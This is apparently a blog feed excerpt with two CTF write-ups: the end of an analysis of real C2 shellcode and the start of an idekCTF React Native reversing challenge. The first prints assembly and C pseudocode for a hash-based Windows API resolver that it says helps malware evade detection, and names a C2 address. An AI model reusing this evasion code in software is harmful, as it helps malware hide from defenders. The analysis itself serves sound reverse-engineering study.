add     rsi, rdx                 ; Calculate function name virtual address

; Function name hashing loop
loc_81:
xor     rax, rax                 ; Clear RAX
lodsb                            ; Load next character from function name
ror     r9d, 0Dh                 ; Rotate hash right by 13 bits
add     r9d, eax                 ; Add character to hash
cmp     al, ah                   ; Check if character is NULL (AH is 0)
jnz     short loc_81             ; Continue if not end of string

; Hash comparison and function resolution
add     r9, [rsp+8]              ; Add DLL name hash to function name hash
cmp     r9d, r10d                ; Compare with target hash (passed in R10)
jnz     short loc_72             ; Continue searching if no match

; Function found - resolve address
pop     rax                      ; Restore export directory pointer
mov     r8d, [rax+24h]           ; Read IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
add     r8, rdx                  ; Calculate AddressOfNameOrdinals virtual address
mov     cx, [r8+rcx*2]           ; Read ordinal from AddressOfNameOrdinals array
mov     r8d, [rax+1Ch]           ; Read IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
add     r8, rdx                  ; Calculate AddressOfFunctions virtual address
mov     eax, [r8+rcx*4]          ; Read function RVA using ordinal as index
add     rax, rdx                 ; Calculate final function address

; Cleanup and return
pop     r8                       ; Restore registers
pop     r8
pop     rsi
pop     rcx
pop     rdx
pop     r8
pop     r9
pop     r10                      ; Pop return address
sub     rsp, 20h                 ; Allocate shadow space for function call
push    r10                      ; Restore return address
jmp     rax                      ; Jump to resolved function

; Continue to next DLL if function not found
loc_CA:
pop     rax                      ; Clean up export directory pointer
loc_CB:
pop     r9                       ; Restore DLL name hash
pop     rdx                      ; Restore LDR_DATA_TABLE_ENTRY pointer
mov     rdx, [rdx]               ; Move to next entry (InMemoryOrderLinks.Flink)
jmp     loc_21                   ; Continue with next DLL
</code></pre>

<h3 id="how-the-algorithm-works">How the Algorithm Works</h3>

<p>The API resolution routine implements a sophisticated hash-based function lookup that operates in several phases:</p>

<p><strong>Phase 1: DLL Enumeration</strong>
The routine begins by accessing the <strong>Process Environment Block (PEB)</strong> through the <code class="language-plaintext highlighter-rouge">gs:[0x60]</code> segment register. The PEB contains the <code class="language-plaintext highlighter-rouge">PEB_LDR_DATA</code> structure, which maintains linked lists of all loaded modules in the process. The shellcode walks the <code class="language-plaintext highlighter-rouge">InMemoryOrderModuleList</code> to enumerate each loaded DLL.</p>

<p><strong>Phase 2: DLL Name Hashing</strong>
For each DLL, the routine extracts the <code class="language-plaintext highlighter-rouge">BaseDllName</code> from the <code class="language-plaintext highlighter-rouge">LDR_DATA_TABLE_ENTRY</code> structure. It then applies a custom hashing algorithm:</p>
<ul>
  <li>Each character is converted to uppercase if it’s lowercase</li>
  <li>The hash is rotated right by 13 bits</li>
  <li>The character value is added to the hash</li>
</ul>

<p>This produces a unique 32-bit hash for each DLL name (e.g., “KERNEL32.DLL”, “NTDLL.DLL”).</p>

<p><strong>Phase 3: Export Table Processing</strong>
For each DLL, the routine locates the PE export table by:</p>
<ul>
  <li>Reading the <code class="language-plaintext highlighter-rouge">e_lfanew</code> field from the DOS header to find the NT headers</li>
  <li>Verifying the PE magic number (0x020B for 64-bit)</li>
  <li>Extracting the export directory from the data directories array</li>
</ul>

<p><strong>Phase 4: Function Name Hashing</strong>
The routine iterates through all exported function names using the <code class="language-plaintext highlighter-rouge">AddressOfNames</code> array. For each function name, it applies the same hashing algorithm used for DLL names.</p>

<p><strong>Phase 5: Combined Hash Matching</strong>
The final hash is calculated by adding the DLL name hash to the function name hash. This combined hash is compared against the target hash passed in the <code class="language-plaintext highlighter-rouge">r10</code> register.</p>

<p><strong>Phase 6: Function Address Resolution</strong>
When a match is found, the routine uses the function’s index to:</p>
<ul>
  <li>Look up the ordinal in the <code class="language-plaintext highlighter-rouge">AddressOfNameOrdinals</code> array</li>
  <li>Use the ordinal to index into the <code class="language-plaintext highlighter-rouge">AddressOfFunctions</code> array</li>
  <li>Calculate the final virtual address of the function</li>
</ul>

<h3 id="pseudocode-implementation">Pseudocode Implementation</h3>

<p>Here’s a C-style pseudocode representation of the algorithm:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PVOID</span> <span class="nf">resolve_api_by_hash</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">target_hash</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Access PEB and get first loaded module</span>
    <span class="n">PPEB</span> <span class="n">peb</span> <span class="o">=</span> <span class="p">(</span><span class="n">PPEB</span><span class="p">)</span><span class="n">__readgsqword</span><span class="p">(</span><span class="mh">0x60</span><span class="p">);</span>
    <span class="n">PLDR_DATA_TABLE_ENTRY</span> <span class="n">module</span> <span class="o">=</span> <span class="p">(</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">)</span>
        <span class="n">peb</span><span class="o">-&gt;</span><span class="n">LoaderData</span><span class="o">-&gt;</span><span class="n">InMemoryOrderModuleList</span><span class="p">.</span><span class="n">Flink</span><span class="p">;</span>
    
    <span class="c1">// Iterate through all loaded modules</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">module</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Calculate DLL name hash</span>
        <span class="n">DWORD</span> <span class="n">dll_hash</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">PWCHAR</span> <span class="n">dll_name</span> <span class="o">=</span> <span class="n">module</span><span class="o">-&gt;</span><span class="n">BaseDllName</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>
        <span class="n">USHORT</span> <span class="n">name_len</span> <span class="o">=</span> <span class="n">module</span><span class="o">-&gt;</span><span class="n">BaseDllName</span><span class="p">.</span><span class="n">MaximumLength</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
        
        <span class="k">for</span> <span class="p">(</span><span class="n">USHORT</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">name_len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">WCHAR</span> <span class="n">c</span> <span class="o">=</span> <span class="n">dll_name</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">&gt;=</span> <span class="sc">'a'</span> <span class="o">&amp;&amp;</span> <span class="n">c</span> <span class="o">&lt;=</span> <span class="sc">'z'</span><span class="p">)</span> <span class="n">c</span> <span class="o">-=</span> <span class="mh">0x20</span><span class="p">;</span>  <span class="c1">// Convert to uppercase</span>
            <span class="n">dll_hash</span> <span class="o">=</span> <span class="n">_rotr</span><span class="p">(</span><span class="n">dll_hash</span><span class="p">,</span> <span class="mi">13</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="p">;</span>
        <span class="p">}</span>
        
        <span class="c1">// Access export table</span>
        <span class="n">PIMAGE_DOS_HEADER</span> <span class="n">dos_header</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_DOS_HEADER</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span><span class="p">;</span>
        <span class="n">PIMAGE_NT_HEADERS64</span> <span class="n">nt_headers</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_NT_HEADERS64</span><span class="p">)</span>
            <span class="p">((</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span> <span class="o">+</span> <span class="n">dos_header</span><span class="o">-&gt;</span><span class="n">e_lfanew</span><span class="p">);</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="n">nt_headers</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">Magic</span> <span class="o">!=</span> <span class="mh">0x020B</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
        
        <span class="n">PIMAGE_EXPORT_DIRECTORY</span> <span class="n">export_dir</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_EXPORT_DIRECTORY</span><span class="p">)</span>
            <span class="p">((</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span> <span class="o">+</span> 
             <span class="n">nt_headers</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">DataDirectory</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">VirtualAddress</span><span class="p">);</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">export_dir</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
        
        <span class="c1">// Iterate through exported functions</span>
        <span class="n">PDWORD</span> <span class="n">name_rvas</span> <span class="o">=</span> <span class="p">(</span><span class="n">PDWORD</span><span class="p">)((</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span> <span class="o">+</span> <span class="n">export_dir</span><span class="o">-&gt;</span><span class="n">AddressOfNames</span><span class="p">);</span>
        <span class="n">PWORD</span> <span class="n">ordinals</span> <span class="o">=</span> <span class="p">(</span><span class="n">PWORD</span><span class="p">)((</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span> <span class="o">+</span> <span class="n">export_dir</span><span class="o">-&gt;</span><span class="n">AddressOfNameOrdinals</span><span class="p">);</span>
        <span class="n">PDWORD</span> <span class="n">func_rvas</span> <span class="o">=</span> <span class="p">(</span><span class="n">PDWORD</span><span class="p">)((</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span> <span class="o">+</span> <span class="n">export_dir</span><span class="o">-&gt;</span><span class="n">AddressOfFunctions</span><span class="p">);</span>
        
        <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">export_dir</span><span class="o">-&gt;</span><span class="n">NumberOfNames</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="c1">// Calculate function name hash</span>
            <span class="n">DWORD</span> <span class="n">func_hash</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
            <span class="n">PCHAR</span> <span class="n">func_name</span> <span class="o">=</span> <span class="p">(</span><span class="n">PCHAR</span><span class="p">)((</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span> <span class="o">+</span> <span class="n">name_rvas</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
            
            <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">func_name</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">func_hash</span> <span class="o">=</span> <span class="n">_rotr</span><span class="p">(</span><span class="n">func_hash</span><span class="p">,</span> <span class="mi">13</span><span class="p">)</span> <span class="o">+</span> <span class="o">*</span><span class="n">func_name</span><span class="o">++</span><span class="p">;</span>
            <span class="p">}</span>
            
            <span class="c1">// Check combined hash</span>
            <span class="k">if</span> <span class="p">((</span><span class="n">dll_hash</span> <span class="o">+</span> <span class="n">func_hash</span><span class="p">)</span> <span class="o">==</span> <span class="n">target_hash</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">WORD</span> <span class="n">ordinal</span> <span class="o">=</span> <span class="n">ordinals</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
                <span class="k">return</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)((</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">DllBase</span> <span class="o">+</span> <span class="n">func_rvas</span><span class="p">[</span><span class="n">ordinal</span><span class="p">]);</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="c1">// Move to next module</span>
        <span class="n">module</span> <span class="o">=</span> <span class="p">(</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">)</span><span class="n">module</span><span class="o">-&gt;</span><span class="n">InMemoryOrderLinks</span><span class="p">.</span><span class="n">Flink</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>  <span class="c1">// Function not found</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This hash-based API resolution technique is particularly effective for malware because:</p>
<ul>
  <li>It avoids static import tables that signature-based detection might flag</li>
  <li>The hash values provide no obvious indication of which functions are being resolved</li>
  <li>It can resolve functions from any loaded DLL, not just those in the import table</li>
  <li>The custom hashing algorithm makes it difficult for analysts to pre-compute hash dictionaries</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>This challenge stood out as a rewarding reverse engineering exercise. While I managed to extract the flag (the C2 server address <code class="language-plaintext highlighter-rouge">81.91.19.18:443</code>) within an hour during the live competition, the true value of this challenge extended far beyond the initial solve.</p>

<p>What made this challenge particularly compelling was its use of actual malicious code. This provided an authentic experience of analyzing real-world malware techniques.</p>

<p>The challenge kept me engaged for several days after the competition ended, diving deep into every aspect of the shellcode’s functionality, and writing this blog post. This extended analysis helped me approach Windows internals and expand my knowledge.</p>

<h3 id="useful-resources">Useful Resources</h3>

<p>During the analysis, I found several resources particularly valuable for understanding the underlying Windows structures and concepts:</p>

<ul>
  <li>
    <p><strong>Process Environment Block (PEB) Analysis</strong>: Metehan Bulut’s blog post “<a href="https://metehan-bulut.medium.com/understanding-the-process-environment-block-peb-for-malware-analysis-26315453793f#e4f2">Understanding the Process Environment Block (PEB) for Malware Analysis</a>” provided an excellent introduction into PEB structure and its role in malware analysis.</p>
  </li>
  <li>
    <p><strong>Windows Kernel Structures</strong>: The <a href="https://www.vergiliusproject.com/">Vergilius Project</a> for accessing detailed definitions of undocumented Windows kernel structures across different OS versions, particularly for understanding the precise layout of <code class="language-plaintext highlighter-rouge">LDR_DATA_TABLE_ENTRY</code> and related structures.</p>
  </li>
</ul>]]></content><author><name>Luca</name></author><category term="writeup" /><category term="writeup" /><category term="reverse engineering" /><category term="windows" /><category term="C2" /><category term="CTFZone Quals" /><summary type="html"><![CDATA[Dissecting a simple C2 for windows]]></summary></entry><entry><title type="html">Exposition, idekCTF</title><link href="http://lucapalumbo.xyz/writeup/exposition-idekctf/" rel="alternate" type="text/html" title="Exposition, idekCTF" /><published>2025-08-06T12:00:00+00:00</published><updated>2025-08-06T12:00:00+00:00</updated><id>http://lucapalumbo.xyz/writeup/exposition-idekctf</id><content type="html" xml:base="http://lucapalumbo.xyz/writeup/exposition-idekctf/"><![CDATA[<h1 id="exposition---idek-ctf-2025-writeup">Exposition - Idek CTF 2025 Writeup</h1>

<h2 id="challenge-overview">Challenge Overview</h2>

<p><strong>Challenge Name:</strong> Exposition<br />
<strong>CTF:</strong> Idek CTF 2025<br />
<strong>Category:</strong> Mobile/React Native</p>

<p>The challenge presented us with a React Native application consisting of a simple physics-based interface. Users could input text that would spawn as colored rectangles in a physics simulation area, where these rectangles could move and collide with each other.</p>

<h2 id="initial-analysis">Initial Analysis</h2>

<h3 id="application-interface">Application Interface</h3>

<p>The app features a minimal interface with:</p>
<ul>
  <li>A large physics simulation area (gray background with blue dotted border)</li>
  <li>An input field at the bottom with the instruction “Type text and press enter to create floating blocks!”</li>
  <li>When text is entered, it creates colored rectangular blocks that can move and interact within the simulation area</li>
</ul>

<p><img src="/assets/images/2025-08-02-exposition-idekctf/Screenshot_20250806_211708_exposition.jpg" alt="App Interface" /></p>

<p><em>The application showing three blocks created from inputs “The”, “is”, and “flag”</em></p>

<h3 id="first-steps---static-analysis">First Steps - Static Analysis</h3>

<p>Since only an APK file was provided, I began with static analysis using JADX to decompile the application.</p>

<p>The first important file I examined was <code class="language-plaintext highlighter-rouge">com.exposition.MainApplication</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.exposition</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.app.Application</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.content.Context</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.PackageList</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.ReactApplication</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.ReactHost</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.ReactNativeApplicationEntryPoint</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.ReactNativeHost</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.ReactPackage</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.defaults.DefaultReactHost</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.facebook.react.defaults.DefaultReactNativeHost</span><span class="o">;</span>
<span class="c1">// ... [truncated for brevity]</span>

<span class="kd">public</span> <span class="kd">final</span> <span class="kd">class</span> <span class="nc">MainApplication</span> <span class="kd">extends</span> <span class="nc">Application</span> <span class="kd">implements</span> <span class="nc">ReactApplication</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">ReactNativeHost</span> <span class="n">reactNativeHost</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultReactNativeHost</span><span class="o">(</span><span class="k">this</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">private</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">isHermesEnabled</span><span class="o">;</span>
        <span class="kd">private</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">isNewArchEnabled</span><span class="o">;</span>
        
        <span class="nd">@Override</span>
        <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">getUseDeveloperSupport</span><span class="o">()</span> <span class="o">{</span>
            <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
        <span class="o">}</span>
        
        <span class="c1">// ... additional React Native configuration</span>
    <span class="o">};</span>
    
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onCreate</span><span class="o">()</span> <span class="o">{</span>
        <span class="kd">super</span><span class="o">.</span><span class="na">onCreate</span><span class="o">();</span>
        <span class="nc">ReactNativeApplicationEntryPoint</span><span class="o">.</span><span class="na">loadReactNative</span><span class="o">(</span><span class="k">this</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>This confirmed that we were dealing with a React Native application, as evidenced by:</p>
<ul>
  <li>Multiple imports from <code class="language-plaintext highlighter-rouge">com.facebook.react</code> packages</li>
  <li>Implementation of <code class="language-plaintext highlighter-rouge">ReactApplication</code> interface</li>
  <li>References to React Native components like <code class="language-plaintext highlighter-rouge">ReactNativeHost</code> and <code class="language-plaintext highlighter-rouge">ReactPackage</code></li>
</ul>

<h2 id="deep-dive---react-native-reverse-engineering">Deep Dive - React Native Reverse Engineering</h2>

<h3 id="learning-about-react-native-architecture">Learning About React Native Architecture</h3>

<p>Since I had never reversed a React Native application before, I started researching the architecture and reverse engineering techniques specific to this framework.</p>

<p>I discovered a very helpful blog post: <a href="https://pilfer.github.io/mobile-reverse-engineering/react-native/reverse-engineering-and-instrumenting-react-native-apps/">Reverse Engineering and Instrumenting React Native Apps</a></p>

<h3 id="locating-the-javascript-bundle">Locating the JavaScript Bundle</h3>

<p>Following the guide, I found that the React Native code was contained in:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>resources/assets/index.android.bundle
</code></pre></div></div>

<p>However, when I tried to examine this file, I encountered an obstacle:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>feld@feld-ZenBook:~/Documents/ctf/idek2025/exposition/attachments/app-jadx/resources/assets<span class="nv">$ </span>file index.android.bundle 
index.android.bundle: Hermes JavaScript bytecode, version 96
</code></pre></div></div>

<p>The file wasn’t plain JavaScript as I expected, but rather <strong>Hermes JavaScript bytecode</strong> - a specific bytecode format used by React Native applications when the Hermes JavaScript engine is enabled (which we had confirmed from the MainApplication code: <code class="language-plaintext highlighter-rouge">isHermesEnabled = true</code>).</p>

<h3 id="the-hermes-challenge">The Hermes Challenge</h3>

<p>This presented a significant challenge because Hermes bytecode is not human-readable like regular JavaScript. The bytecode is a compiled, optimized format that requires special tools to decompile back into readable JavaScript.</p>

<h3 id="decompiling-hermes-bytecode">Decompiling Hermes Bytecode</h3>

<p>More research led me to discover <a href="https://github.com/P1sec/hermes-dec">hermes-dec</a>, a decompiler specifically designed for Hermes JavaScript bytecode. This tool can convert the bytecode back into readable JavaScript.</p>

<p>I used the decompiler on the bundle:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hbc-decompiler assets/index.android.bundle output.js
</code></pre></div></div>

<p>The decompilation was successful, but it produced a <strong>massive</strong> JavaScript file. React Native bundles typically contain not just the application code, but also the entire React Native framework, third-party libraries, and all dependencies bundled together into a single file.</p>

<h3 id="analyzing-the-decompiled-output">Analyzing the Decompiled Output</h3>

<p>With the decompiled JavaScript in hand, I now faced the challenge of finding the relevant application code within thousands of lines of framework and library code.</p>

<p>The decompiled file was <strong>massive</strong> - over 200,000 lines of heavily obfuscated JavaScript.</p>

<h3 id="finding-the-application-logic">Finding the Application Logic</h3>

<p>To locate the relevant code, I used a simple but effective technique: <strong>searching for strings visible in the UI</strong>.</p>

<p>I searched for the text <code class="language-plaintext highlighter-rouge">"Type something and press enter"</code> which was visible in the app interface, and this led me to find the core application logic.</p>

<p>Here’s the relevant section I discovered:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">r17</span> <span class="o">=</span> <span class="nx">_closure1_slot5</span><span class="p">;</span>
<span class="nx">r18</span> <span class="o">=</span> <span class="nx">r17</span><span class="p">.</span><span class="nx">TextInput</span><span class="p">;</span>
<span class="nx">r17</span> <span class="o">=</span> <span class="p">{};</span>
<span class="nx">r24</span> <span class="o">=</span> <span class="nx">_closure1_slot10</span><span class="p">;</span>
<span class="nx">r24</span> <span class="o">=</span> <span class="nx">r24</span><span class="p">.</span><span class="nx">inputBox</span><span class="p">;</span>
<span class="nx">r17</span><span class="p">[</span><span class="dl">'</span><span class="s1">style</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r24</span><span class="p">;</span>
<span class="nx">r24</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">Type something and press enter...</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">r17</span><span class="p">[</span><span class="dl">'</span><span class="s1">placeholder</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r24</span><span class="p">;</span>
<span class="nx">r17</span><span class="p">[</span><span class="dl">'</span><span class="s1">value</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r23</span><span class="p">;</span>
<span class="nx">r17</span><span class="p">[</span><span class="dl">'</span><span class="s1">onChangeText</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r22</span><span class="p">;</span>
<span class="p">[...]</span>
</code></pre></div></div>

<p>The next ~1000 lines contain the main application code.</p>

<h3 id="the-flag-validation-logic">The Flag Validation Logic</h3>

<p>More importantly, I found what appeared to be flag validation code. The decompiled JavaScript contained several key elements:</p>

<ol>
  <li><strong>Flag Format Validation</strong>: The code checks for the standard CTF flag format:
    <ul>
      <li>Must start with <code class="language-plaintext highlighter-rouge">'idek{'</code></li>
      <li>Must end with <code class="language-plaintext highlighter-rouge">'}'</code></li>
      <li>The content between must match a specific pattern: <code class="language-plaintext highlighter-rouge">/^[a-zA-Z0-9_]{61}$/</code></li>
    </ul>
  </li>
  <li><strong>Flag Structure</strong>: The validation revealed the flag structure:
    <ul>
      <li>Total length: 61 characters (excluding the <code class="language-plaintext highlighter-rouge">idek{</code> and <code class="language-plaintext highlighter-rouge">}</code> wrapper)</li>
      <li>Position 16 must be <code class="language-plaintext highlighter-rouge">'_'</code></li>
      <li>Position 33 must be <code class="language-plaintext highlighter-rouge">'_'</code></li>
      <li>This creates a three-part structure: <code class="language-plaintext highlighter-rouge">PART1_PART2_PART3</code></li>
      <li>Part 1: 16 characters (positions 0-15)</li>
      <li>Part 2: 16 characters (positions 17-32)</li>
      <li>Part 3: 27 characters (positions 34-60)</li>
    </ul>
  </li>
  <li><strong>Three Validation Functions</strong>: The code contained three separate validation methods, one for each part of the flag:
    <ul>
      <li>1: Validates the first 16 characters</li>
      <li>2: Validates the middle 16 characters</li>
      <li>3: Validates the final 27 characters</li>
    </ul>
  </li>
  <li><strong>Trigger Condition</strong>: There’s special logic that activates when the last three text blocks created spell out <code class="language-plaintext highlighter-rouge">['The', 'flag', 'is']</code> in that exact order</li>
</ol>

<h2 id="reverse-engineering-the-flag-parts">Reverse Engineering the Flag Parts</h2>

<p>Now came the challenging part: understanding how each of the three validation functions worked and what they expected as input.</p>

<h3 id="part-1-the-date-hash-xor-challenge">Part 1: The Date-Hash-XOR Challenge</h3>

<p>The first part of the flag (16 characters) used a particularly interesting validation approach:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">r10</span> <span class="o">=</span> <span class="nx">r10</span><span class="p">.</span><span class="nx">toString</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
<span class="nx">r10</span> <span class="o">=</span> <span class="nx">r10</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="nx">r6</span><span class="p">)(</span><span class="nx">r1</span><span class="p">);</span>
<span class="nx">r6</span> <span class="o">=</span> <span class="nx">r10</span><span class="p">.</span><span class="nx">padStart</span><span class="p">;</span>
<span class="nx">r5</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">r10</span> <span class="o">=</span> <span class="nx">r6</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="nx">r10</span><span class="p">)(</span><span class="nx">r5</span><span class="p">,</span> <span class="nx">r1</span><span class="p">);</span>
<span class="c1">// ... more date manipulation ...</span>
<span class="nx">r11</span> <span class="o">=</span> <span class="nx">r2</span><span class="p">.</span><span class="nb">Date</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">2025-</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">r12</span> <span class="o">=</span> <span class="nx">r1</span> <span class="o">+</span> <span class="nx">r10</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">-</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="nx">r12</span> <span class="o">+</span> <span class="nx">r1</span><span class="p">;</span>
<span class="nx">r19</span> <span class="o">=</span> <span class="nx">r1</span> <span class="o">+</span> <span class="nx">r10</span><span class="p">;</span>
<span class="c1">// Creates date string like "2025-00-00"</span>
<span class="nx">r10</span> <span class="o">=</span> <span class="nx">r11</span><span class="p">.</span><span class="nx">prototype</span><span class="p">;</span>
<span class="nx">r10</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">r10</span><span class="p">,</span> <span class="p">{</span><span class="na">constructor</span><span class="p">:</span> <span class="p">{</span><span class="na">value</span><span class="p">:</span> <span class="nx">r11</span><span class="p">}});</span>
<span class="nx">r20</span> <span class="o">=</span> <span class="nx">r10</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">r20</span><span class="p">[</span><span class="nx">r11</span><span class="p">](</span><span class="nx">r19</span><span class="p">,</span> <span class="nx">r18</span><span class="p">);</span>
<span class="nx">r10</span> <span class="o">=</span> <span class="nx">r1</span> <span class="k">instanceof</span> <span class="nb">Object</span> <span class="p">?</span> <span class="nx">r1</span> <span class="p">:</span> <span class="nx">r10</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="nx">r10</span><span class="p">.</span><span class="nx">toISOString</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="nx">r1</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="nx">r10</span><span class="p">)();</span>
<span class="nx">r10</span> <span class="o">=</span> <span class="nx">r6</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="nx">r9</span><span class="p">)(</span><span class="nx">r1</span><span class="p">);</span>
</code></pre></div></div>

<p>The validation works as follows:</p>

<ol>
  <li><strong>Date Object Creation</strong>: A JavaScript Date object is created with the string <code class="language-plaintext highlighter-rouge">"2025-00-00"</code> - which is technically invalid but JavaScript handles it gracefully</li>
  <li><strong>Date Normalization</strong>: The invalid date gets normalized to <code class="language-plaintext highlighter-rouge">"2024-11-30T00:00:00.000Z"</code> when <code class="language-plaintext highlighter-rouge">toISOString()</code> is called (JavaScript date handling can be quite quirky)</li>
  <li><strong>SHA-256 Hashing</strong>: This normalized date string gets hashed with SHA-256</li>
  <li><strong>XOR Validation</strong>: The first part of the input flag is XORed against a hardcoded key</li>
  <li><strong>Comparison</strong>: If the XOR result matches the SHA-256 hash, the first part passes validation</li>
</ol>

<p>The relevant XOR validation code:</p>
